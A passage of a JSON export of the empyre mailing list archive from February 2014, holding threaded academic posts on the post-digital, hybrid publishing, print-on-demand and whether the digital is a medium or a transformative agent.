come to\n> signify an informational sublimity, perhaps a resources as cultural\n> materials, a site of excess or dumping ground, some weird array of\n> stuff comparable to what Marx once described as dead labor, or perhaps\n> closer to general intellect?\n> \n> That's quite a long post, but I guess I wanted to throw some more\n> references into the mix. There's also a lot of connections, but these\n> are just some notes so I'm not sure they are interesting or relevant\n> for people. Perhaps Mercedes has some ideas to add? What, for\n> instance, does the hybrid refer to for the hybrid publishing lab? What\n> is the digital for you?\n> \n> \n> -- \n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n> \n\n",
                                        "date": "Tue Feb 11 07:09:54 EST 2014",
                                        "message-id": "6933",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006933.html",
                                        "content-type": "n/a",
                                        "author_name": "Alessandro Ludovico",
                                        "subject": "[-empyre-] Week One - Between Print and Pixels:\tComputationality, Post-Digital, Hybrid"
                                    },
                                    {
                                        "from": "bunz at inkubator.leuphana.de",
                                        "id": "6940",
                                        "content": "> Perhaps Mercedes has some ideas to add? What, for instance, does the hybrid refer to for the hybrid publishing lab? What is the digital for you?\n\n\nNow you make me laugh, Michael. I don\u2019t think I can come up with a definition that will hold, but I guess you are not too disappointed about this. Of course, I feel much more comfortable with complicating things a little bit further. Indeed, I think we often mix up disparate levels, when we talk about a medium - the technical functionality, the social or cultural technique it enables, and how it is occupied by power/control are three different lines which cross or levels we find acting within a medium. Mixing these levels, leads us often to strange conclusions. Instead of giving a definition, I will rather take it further apart! Let\u2019s have a look at digital book publishing and book sprints, for example. \n\n> I think this is an interesting issue and I was curious if this has been the behaviour of media from the beginning? A cone transformed the voice, radio transformed the cone, the codex transformed the scroll etc. I bring this up because the 'core form' you refer to is perhaps already a multi-hybridised outcome of decades/centuries of transformation. Perhaps one of the core roles of any new medium, analog or digital, is to transform the old. Any thoughts to that? If it were true then 'digital' could be *both* a medium and a transformative agent.\n\nI agree with Adam, I think the digital is both, medium and transformative agent - and I would even differentiate the last into transformative and agent. The whole messy situation bears the pressing problem which we theory people have, when we talk and analyse media. For what do we look at? A) the technical medium, or B) its transformation, the cultural technique it allows and c) how this is used by power, [or D) what Alessandro calls agency]?\n\nIf I may use the example of \"Book sprints\u201d here, as Adam is an expert for this and the innovative method of producing books he came up with has been quite inspiring for the research in our lab... Of course, one can say that \u201cnew media\u201d like desktop publishing tools, content management, and digital on-demand-distribution have made this interesting new form of producing books collectively possible. In that sense, new digital media transforms the old paper media to enable a different production as well as different books. \n\nBut the digital hasn\u2019t just transformed book production, it also transformed our knowledge production, i.e. the knowledge we use when writing books - or when writing essays, or when making arguments. Due to its digitalization, knowledge can now be found via search engines, and this allows us to handle knowledge fields in a very different way: we scan them. Scanning or cursory reading becomes a new knowledge technique, besides using search engines, we often also google each other - at least this is I can observe us doing in some of our team meetings (my students love this as well). Here I can locate Alessandro\u2019s statement, when he writes: \"New media are affecting the other ones\u201d - but this is something that happens more on level B) and C), its a social or cultural technique and how it is enacted and appropriated. Personally, I see the post-digital located here, at least at the moment. One reason for this is, I have Florian Cramer\u2019s excellent example of students on my mind who sit together to produce a paper fanzine, and he commented that: they are doing it as if they are doing social media. \n\nI think A, B, and C are all on a similar level - the present - but much like Alessandro I am fascinated that there is something else, the moment/aspect he calls agency [D]. I researched this silent technical \u201cghost\" a bit for my book (The Silent Revolution), and noticed that philosophers and thinkers (Latour, Simondon, Verbeek, Ihde, Blumenberg,  Kittler, or Nigel Thrift, or...) all were fascinated by it. I tried to explain this \u201cagency\", but as my interest was not to describe it as technical determination, I chose the term \"technical gesture\u201d. The concept is borrowed from Ferdinand Braudel, of course. He brought something similar into play, when besides short-term historic events, he focussed on the shift of long-term historical structures. Analog to this, I came up with a structure or 'schema' inherent in technology and changing with each new technical revolution. Here, I think my argument is related to Alessandro\u2019s idea of the digital as being something more than just a new medium, seeing it more like electricity. However, I would say while this has an effect, I wouldn\u2019t describe it as agency. It is more a structure or a pattern: industrialization, for example, is based on the construction of systems for which the process of standardization is essential. The digital, on the other hand, has a more disruptive and fragmented side so that flexibility is a far more important aspect to it than rigid norms. \n\nNow the question is: what would that mean for publishing, or writing?\n\nPersonally, I see some of this \u2018gesture\u2019 in my own writing. I tend to start my thinking less from an opposing argument, I find refuting someone less and less productive. Instead, I prefer to use fragments of other people\u2019s theory and thinking as bricks to build my own argument, and find myself interested in things like \u201cReading Diffractively\u201d (see Iris van der Tuin 2013: http://www.academia.edu/4679458/The_Untimeliness_of_Bergsons_Metaphysics_Reading_Diffractively_2013_ ) Or is this just a \u2026 trend? What do you guys think? \n\n> Perhaps one of the core roles of any new medium, analog or digital, is to transform the old. Any thoughts to that? If it were true then 'digital' could be *both* a medium and a transformative agent.\n\n\nBy the way, Michael, I don\u2019t really get your point here, like I don\u2019t understand the \u201ceconomic lineage\u201d but with it you seem to go somewhere very interesting. Maybe you can explain this a bit? \n\n> In other words, these are the economic lineages that inform\n> the contemporary digital. They exist, for example, in Charles\n> Babbage's inspiration from Adam Smith's economic divisions of labor,\n> but applied to the mechanization of mathematical tables in the\n> development of the Difference Engine and (proposed) Analytic Engine.\n> Especially pertinent would be his study of 19th century factories (a\n> point of engagement for Marx), 'On the Economy of Machinery and\n> Manufacture', and the argument for the digital as the 'division of\n> mental labours' whereby certain tedious or monotonous tasks are\n> delegated away to labor and machinery at lowered rates of pay, expense\n> and care. This approach is echoed in the articulation of corporate\n> systems analysis in the late 20th century with the kinds of procedural\n> initiatives that Philip Agre insightfully referred to as the capture\n> model. Similarly, as Bernard Stiegler might put it, there is a process\n> involving the grammatization of labour here, but one in which a\n> fixation on increased profit drives the systematic implementation and\n> configuration of these digital infrastructures as a disassociated\n> milieu.\n> \n> Perhaps these are familiar arguments, but I'm interested then in how\n> the digital, understood in this way, can be read in terms of media\n> theory and the idea of there being 'post'? \n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140211/ebdd5d2b/attachment.htm>\n",
                                        "date": "Wed Feb 12 03:45:29 EST 2014",
                                        "message-id": "6940",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006940.html",
                                        "content-type": "n/a",
                                        "author_name": "Mercedes Bunz",
                                        "subject": "[-empyre-] Week One - Between Print and Pixels:\tComputationality, Post-Digital, Hybrid"
                                    },
                                    {
                                        "from": "a.ludovico at neural.it",
                                        "id": "6935",
                                        "content": "Hi Adam and thanks for stepping in (very welcome).\n\nOn 08 Feb 2014, at 21:03, adamhyde <adam at flossmanuals.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> hi\n> \n> I was hoping the conversation would evolve but it seems a little quiet so many apologies if I am stepping in and breaking protocol a little but I enjoyed Alessandros opening points very much and wanted to ask for his further comment on one point.\n> \n> \"what if digital has been mistaken for a medium but actually is an agent that has transformed existing media? I've started to investigate other traditional media (audio and video, for example) and how their core form is formally still coherent with their analogue one, but substantially transformed by its current digital nature.\"\n> \n> I think this is an interesting issue and I was curious if this has been the behaviour of media from the beginning? A cone transformed the voice, radio transformed the cone, the codex transformed the scroll etc. I bring this up because the 'core form' you refer to is perhaps already a multi-hybridised outcome of decades/centuries of transformation. Perhaps one of the core roles of any new medium, analog or digital, is to transform the old. Any thoughts to that? If it were true then 'digital' could be *both* a medium and a transformative agent.\n\nI think that the important transformations you mention took longer compared to the electric, then electronic, then digital media. They were the product of social and economical processes much slower than the changing mediascape of the last twenty years. New media are affecting the other ones, if not only to react and compete, but the level of transformation can be different. Radio and tv surely affected newspapers, for example, as TV surely affected radio, but they they remained faithful to their own initial paradigms. I've started to reflect about how electricity and digital have affected the other media almost 'atomically', so at a quite different level. \n\nNevertheless, I totally share the doubt that digital could have been both a medium and a transformative agent. I've considered it a medium with different embodiments for such a long time. There's still quite a long way to consider it only an agent, but what I think we can definitively start to question is the 'convergence' paradigm (all the media converging into the digital), and looking backwards, guess if our assumption of considering it a medium can be called into question, too.\n\na.\n\n> adam\n> \n> \n> \n> On 02/06/2014 01:42 AM, Alessandro Ludovico wrote:\n>> ----------empyre- soft-skinned space----------------------\n>> \n>> \n>> Thanks Michael for the nice introduction.\n>> \n>> It seems that Post-Digital aspires to become a 'buzzword' lately, but its meaning seems to be not completely acknowledged.\n>> Many refer to the definition of Kim Cascone in his famous article \"The Aesthetics of Failure: \"Post-digital\" Tendencies in Contemporary Computer Music\", and Wikipedia collects also a fair good amount of other (close) definitions. But many of them are dated a few years ago and still attached to the concept of the digital disappearing in everyday practice, being in a way 'metabolised'.\n>> \n>> My personal definition (given within the Post-digital Research conference and PhD Workshop in Aarhus, in October 2013) is that \"Post-digital is the space left by the (only apparent) absence of digital.\"\n>> The \"space\" here is meant as a negotiable abstract space, previously filled by the digital in its evident forms and interfaces, and now perceptually disappeared, although still there, present, active and eventually engaging us in a new relationship also with non-digital reality.\n>> In its application to the complex and ever mutating relationship between traditional and digital (or offline and online, if you want) publishing, the concept of the 'hybrid' publications seems to be crucial then.\n>> I tried to define 'hybrid' as a a publication where it's almost impossible to separate or discern the physical from the digital processes behind, as it'd be the inextricable result of computed processes in a recognisable publishing form (eventually upgradeable or simply changing over time).\n>> There are quite a few example of early steps towards the hybrid: Martin Fuchs and Peter Bichsel\u2019s book \u201cWritten Images\", \"American Psycho\" by Mimi Cabell & Jason Huff, Les Liens Invisibles' \"Unhappening, not here not now\", or the recent \"The Death of the Authors, 1941 edition\" by Constant (An Mertens, Femke Snelting).\n>> Still it seems that we're not there yet, as we'd need more elaborated software instruments transcending the generative paradigm, or a simple inclusion/exclusion logic.\n>> \n>> In this sense the Post-Digital Research newspaper publication represents another attempt, conjugating the reflection around various post-digital approaches with its final printed from, in quite a few textual and graphical interesting processes (used in experimental literature or just borrowed from online free tools) involving the writing form, the expression of the different concepts, and the final visual rendering of all of that.\n>> \n>> But the hybrid would epitomises the metabolisation of digital in a way that it doesn't simply 'disappear' (or better, we are not noticing it anymore), finally becoming one of our daily natural nutrients, with an active role that breaks all the boundaries (being relegated in a device, or to a specific cultural environment that we associate with it).\n>> \n>> This is the starting point of an hypothesis I formulated in the last Transmediale panel, which can maybe sound a bit blatant:\n>> what if digital has been mistaken for a medium but actually is an agent that has transformed existing media? I've started to investigate other traditional media (audio and video, for example) and how their core form is formally still coherent with their analogue one, but substantially transformed by its current digital nature.\n>> \n>> The hybrid in publishing, in this sense, is actually embodying this passage very well, as it points us back to traditional media and their possible active and engaging relationship with the digital. \n>> \n>> \n>> To add more resources to the list:\n>> \n>> there has been a special issue of Neural called \"Neural #44, Post-Digital Print (Postscript)\" (a friend nicknamed it the \"shameless issue\") which was meant as an addendum to the book with more content related to the topic.\n>> http://neural.it/issues/neural-44-post-digital-print-postscript/\n>> \n>> The Post-Digital Print blog is still in beta, but it'll host within this week also the pdf of all the three Mag.net Readers, free to download:\n>> http://postdigitalprint.org\n>> It's meant to be a complement to the terrific resource that Silvio Lorusso is making with its Post-Digital Publishing Archive:\n>> http://p-dpa.net\n>> \n>> I'm also curating (for another month and half, with a final special event in Paris on March 11th) \"Erreur d'Impression, Publier \u00e0 l\u2019\u00c8re du Num\u00e9rique\" a virtual exhibition at Jeu de Paume: http://espacevirtuel.jeudepaume.org/erreur-dimpression-1674/\n>> \n>> Indeed, Post-Digital Print, the book, has also a physical form (although we successfully experimented with its digital form just before that):\n>> http://www.onomatopee.net/project.php?progID=c3149ad5e7c0b4bb6e80e4c770ee528c\n>> \n>> Although all more or less connected to my personal work, I hope that they can help the discussion.\n>> \n>> \n>>> I want to invite Alessandro to start off the discussion. Many of you are no doubt familiar with his work, but if not, I want to draw attention to his recent book, 'Post-Digital Print: The Mutation of Publishing Since 1894' (Onomatopee 2012): http://monoskop.org/images/a/a6/Ludovico,_Alessandro_-_Post-Digital_Print._The_Mutation_of_Publishing_Since_1894.pdf (The fact that text is legit available through the Monoskop Log is perhaps noteworthy itself). \n>>> \n>>> I would describe his book as a history of experimental aesthetic practices articulated through new publishing technologies, and one that speaks in particular to the concept of the post-digital. More generally, it's a tremendous document of a vast array of projects, artworks, print objects, books, pamphlets and magazines that is characteristic of print culture in late modernity and beyond. \n>>> \n>>> The post-digital, in particular, is a term that I'm inviting Alessandro to discuss, along with related ideas that have emerged through his research. And it's particularly relevant off the back of Transmediale Festival last week given the Post-Digital Research panel and newspaper publication. The latter is a series of short texts that have been collaboratively peer-reviewed through a workshop on the topic held at Aarhus University last year: https://tm-resource.projects.cavi.au.dk/?page_id=1291 Unfortunately, a PDF is not available yet, but Alessandro I'm sure will give an impression of the contents of this publication.    \n>> \n>> \n>> \n>> \n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140210/de36636a/attachment.htm>\n",
                                        "date": "Tue Feb 11 05:35:04 EST 2014",
                                        "message-id": "6935",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006935.html",
                                        "content-type": "n/a",
                                        "author_name": "Alessandro Ludovico",
                                        "subject": "[-empyre-] Week One - Between Print and Pixels:\tComputationality, Post-Digital, Hybrid"
                                    }
                                ],
                                "subject": "[-empyre-] Week One - Between Print and Pixels: Computationality, Post-Digital, Hybrid"
                            },
                            {
                                "from": "dmberry at gmail.com",
                                "id": "6945",
                                "content": "I want to take up the question of the definitional a little, more because I think that what the post-digital is pointing towards as a concept is the multiple moments in which the digital was operative in various ways. Indeed, historicising the \u201cdigital\" can be a useful, if not crucial step, in understanding the transformation(s) of digital technologies. That is, we are at a moment whereby we are able to survey the various constellations of factors that made up a particular historical configuration around the digital and in which the \u201cdigital\u201d formed an \u201cimagined\" medium to which existing analogue mediums where often compared, and to which the digital tended to be seen as suffering from a lack, e.g. not a medium for \u201creal\u201d news, for film, etc. etc. The digital was another medium to place at the end (of the list) after all the other mediums were counted \u2013 and not a very good one. It was where the digital was understood, if it were understood at all, as a complement to other media forms, somewhat lacking, geeky, glitchy, poor quality and generally suited for toys, like games or the web, or for \u201cboring\u201d activities like accountancy or infrastructure. The reality is that in many ways the digital was merely a staging post, whilst computing capacity, memory, storage and display resolutions could fall in price/rise in power enough to enable a truly \u201cpost-digital\u201d environment that could produce new mediated experiences. That is, that it appears that the digital was \u201ccomplementary\u201d but the post-digital is zero-sum. Here is my attempt to sum up some of the moments that I think might serve as a provocation to debate the post-digital.\n\n\n  +-----------------+------------------+\n  |    DIGITAL      |   POST-DIGITAL   |\n  +------------------------------------>\n  | Non-zero sum    | Zero-sum         |\n  | Objects         | Streams          |\n  | Files           | Clouds           |\n  | Programs        | Apps             |\n  | SQL databases   | NoSQL storage    |\n  | HTML            | node.js/APIs     |\n  | Disciplinary    | Control          |\n  | Administration  | Logistics        |\n  | Connect         | Always-on        |\n  | Copy/Paste      | Intermediate     |\n  | Digital         | Computal         |\n  | Hybrid          | Unified          |\n  | Interface       | Surface          |\n  | BitTorrent      | Scraping         |\n  | Participation   | Sharing/Making   |\n  | Metadata        | Metacontent      |\n  | Web 2.0         | Stacks           |\n  | Medium          | Platform         |\n  | Games           | World            |\n  | Software agents | Compactants      |\n  | Experience      | Engagement       |\n  | Syndication     | Push notification|\n  | GPS             | Beacons  (IoTs)  |\n  | Art             | Aesthetics       |\n  | Privacy         | Personal Cloud   |\n  | Plaintext       | Cryptography     |\n  | Big data        | Real-time        |\n  | Responsive      | Anticipatory     |\n  | Tracing         | Tracking         |\n  +------------------------------------>\n\n\nBest\n\nDavid\n\n \n\n\n\nOn 6 Feb 2014, at 09:42, Alessandro Ludovico <a.ludovico at neural.it> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Thanks Michael for the nice introduction.\n> \n> It seems that Post-Digital aspires to become a 'buzzword' lately, but its meaning seems to be not completely acknowledged.\n> Many refer to the definition of Kim Cascone in his famous article \"The Aesthetics of Failure: \"Post-digital\" Tendencies in Contemporary Computer Music\", and Wikipedia collects also a fair good amount of other (close) definitions. But many of them are dated a few years ago and still attached to the concept of the digital disappearing in everyday practice, being in a way 'metabolised'.\n> \n> My personal definition (given within the Post-digital Research conference and PhD Workshop in Aarhus, in October 2013) is that \"Post-digital is the space left by the (only apparent) absence of digital.\"\n> The \"space\" here is meant as a negotiable abstract space, previously filled by the digital in its evident forms and interfaces, and now perceptually disappeared, although still there, present, active and eventually engaging us in a new relationship also with non-digital reality.\n> In its application to the complex and ever mutating relationship between traditional and digital (or offline and online, if you want) publishing, the concept of the 'hybrid' publications seems to be crucial then.\n> I tried to define 'hybrid' as a a publication where it's almost impossible to separate or discern the physical from the digital processes behind, as it'd be the inextricable result of computed processes in a recognisable publishing form (eventually upgradeable or simply changing over time).\n> There are quite a few example of early steps towards the hybrid: Martin Fuchs and Peter Bichsel\u2019s book \u201cWritten Images\", \"American Psycho\" by Mimi Cabell & Jason Huff, Les Liens Invisibles' \"Unhappening, not here not now\", or the recent \"The Death of the Authors, 1941 edition\" by Constant (An Mertens, Femke Snelting).\n> Still it seems that we're not there yet, as we'd need more elaborated software instruments transcending the generative paradigm, or a simple inclusion/exclusion logic.\n> \n> In this sense the Post-Digital Research newspaper publication represents another attempt, conjugating the reflection around various post-digital approaches with its final printed from, in quite a few textual and graphical interesting processes (used in experimental literature or just borrowed from online free tools) involving the writing form, the expression of the different concepts, and the final visual rendering of all of that.\n> \n> But the hybrid would epitomises the metabolisation of digital in a way that it doesn't simply 'disappear' (or better, we are not noticing it anymore), finally becoming one of our daily natural nutrients, with an active role that breaks all the boundaries (being relegated in a device, or to a specific cultural environment that we associate with it).\n> \n> This is the starting point of an hypothesis I formulated in the last Transmediale panel, which can maybe sound a bit blatant:\n> what if digital has been mistaken for a medium but actually is an agent that has transformed existing media? I've started to investigate other traditional media (audio and video, for example) and how their core form is formally still coherent with their analogue one, but substantially transformed by its current digital nature.\n> \n> The hybrid in publishing, in this sense, is actually embodying this passage very well, as it points us back to traditional media and their possible active and engaging relationship with the digital. \n> \n> \n> To add more resources to the list:\n> \n> there has been a special issue of Neural called \"Neural #44, Post-Digital Print (Postscript)\" (a friend nicknamed it the \"shameless issue\") which was meant as an addendum to the book with more content related to the topic.\n> http://neural.it/issues/neural-44-post-digital-print-postscript/\n> \n> The Post-Digital Print blog is still in beta, but it'll host within this week also the pdf of all the three Mag.net Readers, free to download:\n> http://postdigitalprint.org\n> It's meant to be a complement to the terrific resource that Silvio Lorusso is making with its Post-Digital Publishing Archive:\n> http://p-dpa.net\n> \n> I'm also curating (for another month and half, with a final special event in Paris on March 11th) \"Erreur d'Impression, Publier \u00e0 l\u2019\u00c8re du Num\u00e9rique\" a virtual exhibition at Jeu de Paume: http://espacevirtuel.jeudepaume.org/erreur-dimpression-1674/\n> \n> Indeed, Post-Digital Print, the book, has also a physical form (although we successfully experimented with its digital form just before that):\n> http://www.onomatopee.net/project.php?progID=c3149ad5e7c0b4bb6e80e4c770ee528c\n> \n> Although all more or less connected to my personal work, I hope that they can help the discussion.\n> \n> \n>> I want to invite Alessandro to start off the discussion. Many of you are no doubt familiar with his work, but if not, I want to draw attention to his recent book, 'Post-Digital Print: The Mutation of Publishing Since 1894' (Onomatopee 2012): http://monoskop.org/images/a/a6/Ludovico,_Alessandro_-_Post-Digital_Print._The_Mutation_of_Publishing_Since_1894.pdf (The fact that text is legit available through the Monoskop Log is perhaps noteworthy itself). \n>> \n>> I would describe his book as a history of experimental aesthetic practices articulated through new publishing technologies, and one that speaks in particular to the concept of the post-digital. More generally, it's a tremendous document of a vast array of projects, artworks, print objects, books, pamphlets and magazines that is characteristic of print culture in late modernity and beyond. \n>> \n>> The post-digital, in particular, is a term that I'm inviting Alessandro to discuss, along with related ideas that have emerged through his research. And it's particularly relevant off the back of Transmediale Festival last week given the Post-Digital Research panel and newspaper publication. The latter is a series of short texts that have been collaboratively peer-reviewed through a workshop on the topic held at Aarhus University last year: https://tm-resource.projects.cavi.au.dk/?page_id=1291 Unfortunately, a PDF is not available yet, but Alessandro I'm sure will give an impression of the contents of this publication.    \n> \n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n---\n\nDr. David M. Berry\nReader\n\nSilverstone 316\n\nSchool of Media, Film and Music\nUniversity of Sussex,\nFalmer, \nEast Sussex. BN1 8PP\n\nhttp://www.sussex.ac.uk/profiles/125219\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140212/27fd6072/attachment.htm>\n-------------- next part --------------\nA non-text attachment was scrubbed...\nName: signature.asc\nType: application/pgp-signature\nSize: 496 bytes\nDesc: Message signed with OpenPGP using GPGMail\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140212/27fd6072/attachment.sig>\n",
                                "date": "Thu Feb 13 03:17:25 EST 2014",
                                "message-id": "6945",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006945.html",
                                "content-type": "n/a",
                                "author_name": "David Berry",
                                "subject": "[-empyre-] Week One - Between Print and Pixels:\tComputationality, Post-Digital, Hybrid"
                            }
                        ],
                        "subject": "[-empyre-] Week One - Between Print and Pixels:\tComputationality, Post-Digital, Hybrid"
                    }
                ],
                "message-id": "6918",
                "date": "Wed Feb  5 01:01:49 EST 2014",
                "list": "empyre",
                "author_name": "Michael Dieter",
                "subject": "[-empyre-] Week One - Between Print and Pixels: Computationality,\tPost-Digital, Hybrid"
            },
            {
                "content-type": "n/a",
                "from": "M.J.Dieter at uva.nl",
                "id": "6941",
                "content": "Hi all,\n\nThe discussion is still rolling from the first week, but I would like\nto nevertheless introduce and welcome three more guests onto the list:\nLukas Jost Gross, Domenico Quaranta and Rita Raley.\n\nI've put together some keywords for this introduction - Paradoxical\nPublishing, Postmedia, Critical Aesthetics - (apologies for yet\nanother 'post' in there), but this is just a formality. I want to keep\nthings quite open in terms of how the conversation develops and what\ngets discussed. Perhaps subscribers have specific questions or\ncomments to add at this point.\n\nIndeed, hopefully many of you are also already familiar with their\nwork. If not, please check out TRAUMAWIEN's inspiring projects and\npublications; the absolutely essential Link Editions series that\nDomenico's been running and along with an overview of his curatorial\nwork and criticism; and some of Rita's key publications on a range of\ninfluential media arts practices, concepts and themes from codework to\ntactical media and counterveillance.\n\nIt's great to have you all on empyre!\n\n- M.\n\nBios:\n\nLukas Jost Gross is an artist and paradoxical print publisher based in\nVienna. He co-founded TRAUMAWIEN in 2010 with Peter Moosgaard and\nJulian Palacz as a non-academic initiative exploring new forms of\npublishing. An important aspect is the ARTCLUB involving discussions\nof various issues, books and releases\n(http://traumawien.at/stuff/artclub/). Some key projects, meanwhile,\nhave included exploiting \"Domains of Distribution\" Ad Contaminated\nEbooks (Trojan Horses) exploring the connectivity and underground\ndistribution of ebooks by algorithmically changing/contaminating them\nwhile feeding them back into Systems of Distribution\n(http://rhizome.org/announce/events/59833/view/). In certain ways,\naugmented reality is also an important concept for TRAUMAWIEN, as seen\nin the development of Augmented Reality Software for YORICK/REPLIK in\n2010, which was sold as 'Hybrids'. For more information on their\nvarious projects and publications, see http://traumawien.at/\n\nDomenico Quaranta (1978, Brescia, Italy, http://domenicoquaranta.com)\nis an art critic and curator. He is a regular contributor to Flash Art\nand Artpulse. He is the editor (with M. Bittanti) of the book\n\"GameScenes: Art in the Age of Videogames\" (2006) and the author of\n\"Media, New Media, Postmedia\" (2010; translated into English in 2013\nwith the title \"Beyond New Media Art\") and \"In Your Computer\" (2011).\nHe has curated various exhibitions, including \"Holy Fire: Art of the\nDigital Age\" (Bruxelles 2008, with Y. Bernard), Playlist (Gijon 2009\nand Bruxelles 2010) and \"Collect the WWWorld. The Artist as Archivist\nin the Internet Age\" (Brescia 2011; Basel and New York 2012). He is a\nco-founder of the Link Center for the Arts of the Information Age\n(http://www.linkartcenter.eu/).\n\nRita Raley researches and teaches at the University of California,\nSanta Barbara. Her work is situated at the intersection of digital\nmedia and humanist inquiry, with a particular emphasis on cultural\ncritique, artistic practices, language, and textuality. She is the\nauthor of Tactical Media (Electronic Mediations) (University of\nMinnesota, 2009), co-editor of the Electronic Literature Collection,\nVolume 2 (2011), and has more recently published articles in the\nedited collections \"Raw Data\" Is an Oxymoron (2013) and Comparative\nTextual Media: Transforming the Humanities in the Postprint Era\n(2013). She has had fellowship appointments at the National Humanities\nCenter; UCLA (as part of the Mellon-funded project on the Digital\nHumanities); University of Bergen, Norway (with \"ELMCIP: Electronic\nLiterature as a Model of Creativity and Innovation in Practice\"); and\nthe Dutch Foundation for Literature in Amsterdam. She currently\nco-edits the \"Critical Issues in Media Aesthetics\" book series for\nBloomsbury and the \"Electronic Mediations\" book series for the\nUniversity of Minnesota Press.\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006941.html",
                "follow-up": [
                    {
                        "author_name": "Domenico Quaranta",
                        "from": "quaranta.domenico at gmail.com",
                        "id": "6942",
                        "content": "Dear empyreans,\n\nI have been producing content for books, catalogues and magazines for a while, but if Michael kindly invited me in this discussion on empyre, it is because, at some point, I became an editor and publisher. In the following, I will try to explain shortly how it happened, because it can be useful to introduce you to the approach and structure of Link Editions (http://editions.linkartcenter.eu/).\n\nIn 2011, while working with some partners on setting up the Link Center for the Arts of the Information Age (the no-profit organization behind Link Editions), I started collecting ideas for a personal side project. I wanted to go through the texts I wrote for magazines, catalogues and blogs in previous years, select the ones that were still meaningful to me, edit them (most of them were badly translated in English by third parties), publish an anthology and remove everything from my website. I felt it was time to review this material, take it off from the fluidity of the internet, and make it more readable: a better formatting, a better design, a better indexing. Self-editing with a bit of make-up.\n\nI didn't know how to do it, but I knew that I didn't want to submit it to a publishing house. At the time, I had just published a book in Italian, and even if it was a wonderful experience, I didn't see any advantage in following the same path again. Maybe if you are a better writer it goes differently, but with my 2010 book what happened was that (1) I gave all the rights on the book to the publisher (2) for almost no money and for (3) 30 free copies of my book. Since then, (4) I can't put the pdf online for free, (5) I have no control on distribution and (6) I can have a rough idea about how sales are going only through the (rather opaque) filter of the publisher. I can't even allow my students to make photocopies, even if I do it all the time. \n\nSo, I started exploring print-on-demand platforms, and what I saw was very interesting. With, for example, Lulu.com 1) I could keep my rights on the book and choose the kind of license I wanted to apply to it; 2) I could potentially make money, or decide on my own - not because I was forced by a contract - that I didn't want to make money at all; 3) I could buy as many books I wanted at author's price; 4) I could circulate the book in digital form, even on the same platform, without any restriction; 5) I couldn't be in my neighborhood bookstore, but I could access some of the biggest bookstores in the world, and 6) I could keep track of sales and downloads. I could even send the download link to monoskop, and spread the digital file through my students. Of course, print-on-demand platforms have their faults too, but at least everything that made me upset in traditional publishing seemed to be healed there.\n\nFrom here to Link Editions, the step was short. I talked about all this to my partners, and they agreed to set up a publishing initiative grounded in print-on-demand and free download. I published my book, In Your Computer, in May 2011. By September 2011, three other books were released: Random, by Valentina Tanni; In My Computer # 1, by Miltos Manetas; and the catalogue of the first exhibition produced by the Link Art Center, Collect the WWWorld. The Artist as Archivist in the Internet Age. Feel free to download all of them. \n\nWith these books, our three main book collections were born. \"Clouds\" is both an attempt to allow other writers the kind of freedom I experienced working outside of traditional publishing, and to bring to shelves some good theoretical writing that meets our interests as an institution. \"In My Computer\" is a kind of concept magazine, inviting artists to share meaningful content stored in their hard drive (or in the cloud) that for some reason never got released, and that can be meaningful in book form. \"Catalogues\" collects our monographs and exhibition catalogues. Recently Link Editions started being an interesting platform also for other organizations, and we are exploring different modes of co-publishing. These books are filed under \"Open\". \n\nSimply put, Link Editions is an attempt to conceal the advantages of self publishing with the ones of working with a publishing house. One of the faults of POD platforms is the lack of a context around the book you publish. Of course, you can use categories and tags in order to index your book and make it easy to retrieve. But how many people look for books this way? Landing on Lulu.com is like entering a giant bookstore, with thousands of bad books welcoming you at the entrance, and with an unreliable indexing system. You head to the art shelf and you see calendars; you look for the contemporary art shelf and you see self produced portfolios; you look closer for \"new media art\" books and you find ten bad ones - the best one is actually indexed under Essays > Photography, and, if you spend a whole day there, you may be able to find a great artist book under \"Software and code\".\nAnother problem, when you self-publish a book, is your lack of professionalism. You may be a good writer, but still need an editor and a proof reader for your contents, and a good designer for your book. With Link Editions, we tried to bypass these problems without rebuilding the barriers someone experiences when working with a traditional publisher. We offer to our authors our editing and design expertise; due to our weak economic model, we can't design all the books we publish, but we try to keep an high level of quality. We set a low income for Link Editions that basically pays back the expenses produced by the initiative, and we offer all books in free download; everything is done in a very transparent way, and authors are always free to request statistics on their sales / downloads, as well as to but their books at author's price through our account. It's basically like self publishing, but with a professional assistance, and delivering the book in a context that becomes more interesting and rewarding for us and for authors any time a new book is published. \n\nSorry for the long presentation post, but I assumed that my role in this conversation was more that of presenting a concrete \"case study\", than that of addressing the interesting topics raised in the first part of this discussion. Hopefully I will be able to say something about them later on.\n\nMy warm regards, \nDomenico\n\n---\n\nDomenico Quaranta\n\nemail: quaranta.domenico at gmail.com\nskype: dom_40\n\nhttp://domenicoquaranta.com\nhttp://www.linkartcenter.eu\n",
                        "date": "Wed Feb 12 19:09:13 EST 2014",
                        "message-id": "6942",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006942.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "ethel.baraona at gmail.com",
                                "id": "6943",
